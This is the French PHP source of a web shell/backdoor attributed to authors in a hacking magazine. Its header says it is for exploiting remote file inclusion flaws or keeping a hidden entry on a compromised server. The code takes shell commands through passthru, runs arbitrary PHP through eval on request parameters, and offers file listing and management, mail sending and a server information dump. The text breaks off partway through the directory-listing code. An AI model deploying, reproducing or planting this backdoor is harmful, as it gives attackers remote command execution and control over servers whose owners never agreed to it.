Ce script permet d'exploiter une faille include ou une frame mal placée de type :
www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.
par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12
Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils, IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team
");
/******Code source du système de remote*****/
$QS = $QUERY_STRING;
if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur";
if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur";
/*pour les forms*********************************/
$tab = explode("&", $QS);
$i=0;
$remf = "";
while( $tab[$i] != "" && $tab[$i-1] != "separateur" )
{
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
eval("\$temp2=\${$temp};");
$remf .= "\n";
$i++;
}
/*
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
if($temp!="")
{
eval("\$temp2=\${$temp};");
$remf .= "\n";
}*/
/************************************************/
/*pour les links*********************************/
if($QS != "separateur")
$reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) .
"&separateur";
else $reml = "?$QS";
$adresse_locale = $reml;
/************************************************/
print("");
print("Exécuter une commande dans un shell ");
print("Exécuter du code PHP ");
print("Lister un répertoires ");
print("Gérer les fichiers ");
print("Envoyer un mail ");
print("Infos serveur ");
print("Contacter le créateur ");
/* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */
$option = $_REQUEST["option"];
$rep = $_REQUEST["rep"];
$nom = $_REQUEST["nom"];
$option_file = $_REQUEST["option_file"];
$cmd = $_REQUEST["cmd"];
$code = $_REQUEST["code"];
$msg = $_REQUEST["msg"];
$option_mail = $_REQUEST["option_mail"];
$destinataire = $_REQUEST["destinataire"];
$sujet = $_REQUEST["sujet"];
$message = $_REQUEST["message"];
if($option == 1){
print("");
echo " PS : peu de serveurs acceptent les commandes venant de PHP";
}
if($option == 2){
print("");
}
if($option == 3){
print("");
print("$rep");
}
if($option == 4){
print(" ");
}
if($option == 5){
print("");
}
if($option == 6){
echo"Nom du serveur : $SERVER_NAME
";
echo"Adresse IP du serveur : $SERVER_ADDR ";
echo"Port utilisé par défault 80 : $SERVER_PORT ";
echo"Mail de l' admin : $SERVER_ADMIN
";
echo"Racine du serveur : $DOCUMENT_ROOT ";
echo"Adresse menant à COMMAND.COM : $COMSPEC ";
echo"Path installé sur le serveur : $PATH ";
echo"OS, SERVEUR, version PHP : $SERVER_SOFTWARE
";
echo"Version du protocole utilisé (HTTP) : $SERVER_PROTOCOL ";
echo"En-tête Accept du protocole HTTP : $HTTP_ACCEPT ";
echo"En tête User_agent du protocole HTTP : $HTTP_USER_AGENT ";
echo"En-tête Accept-Charset du protocole HTTP : $HTTP_ACCEPT_CHARSET ";
echo"En-tête Accept-Encoding du protocole HTTP : $HTTP_ACCEPT_ENCODING ";
echo"En-tête Accept-Language du protocole HTTP : $HTTP_ACCEPT_LANGUAGE ";
echo"En-tête Connection du protocole HTTP : $HTTP_CONNECTION ";
echo"En-tête Host du protocole HTTP : $HTTP_HOST
";
echo"Version de CGI : $GATEWAY_INTERFACE ";
echo"Version de récupération du form : $REQUEST_METHOD ";
echo"Argument de l' adresse : $QUERY_STRING ";
echo"Nom du script : $SCRIPT_NAME ";
echo"Chemin du script : $SCRIPT_FILENAME ";
echo"Adresse entière du script : $REQUEST_URI
";
}
/* Commande*******/
if($cmd != "")
{
echo "{${passthru($cmd)}} ";
}
/* Commande*******/
/* Exécution de code PHP**********/
if($code != ""){
$code = stripslashes($code);
eval($code);
}
/* Execution de code PHP**********/
/* Listing de rep******************/
if($rep != "")
{
if(strrchr($rep, "/") != "" || !stristr($rep, "/")) $rep .= "/";
$dir=opendir($rep);
while ($file = readdir($dir))
{
if (is_dir("$rep/$file") && $file!='.')
{
echo"